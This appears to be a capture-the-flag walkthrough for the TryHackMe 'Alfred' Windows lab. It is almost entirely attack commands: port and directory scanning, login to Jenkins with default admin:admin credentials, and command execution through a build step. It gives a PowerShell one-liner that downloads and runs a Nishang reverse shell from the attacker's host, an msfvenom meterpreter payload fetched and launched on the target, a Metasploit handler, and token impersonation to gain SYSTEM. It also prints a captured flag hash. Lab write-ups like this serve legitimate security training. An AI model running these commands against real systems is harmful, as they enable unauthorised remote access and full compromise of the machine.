[TryHackMe] Alfred

export machine="10.10.187.4"

nmap $machine

PORT     STATE SERVICE            VERSION
80/tcp   open  http               Microsoft IIS httpd 7.5
3389/tcp open  ssl/ms-wbt-server?
8080/tcp open  http               Jetty 9.4.z-SNAPSHOT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows


semiautorecon $machine

gobuster dir -u http://$machine/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Creds :

admin:admin

login :

http://10.10.187.4:8080/login?from=%2F

whatweb

–> Jenkins[2.190.1]

Execute commands :

1. Create a freestyle project on Jenkins.
2. Build
3. Execute batch commands

Powershell tooling : https://github.com/samratashok/nishang

Using PowerShellTcp.ps1 :

powershell iex (New-Object Net.WebClient).DownloadString('http://10.11.3.68:80/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.11.3.68 -Port 1771

• Go to the project
• Build Now

cat C:\Users\bruce\Desktop\user.txt

79007a09481963edf2e1321abd9ae2a0

Switching shell

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=tun0 LPORT=443 -f exe -o rev.exe

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.11.3.68/rev.exe','rev.exe')"

msfconsole -n -q -x "use multi/handler;set payload windows/meterpreter/reverse_tcp;s;set lhost tun0;set lport 443;run;"

Start-Process "rev.exe"

whoami /priv

# SeDebugPrivilege, SeImpersonatePrivilege enabled

load incognito

list_tokens -g

impersonate_token "BUILTIN\Administrators"

getuid
NT AUTHORITY\SYSTEM

cat C:\\Windows\\System32\\config\root.txt

migrate 848 (svchost)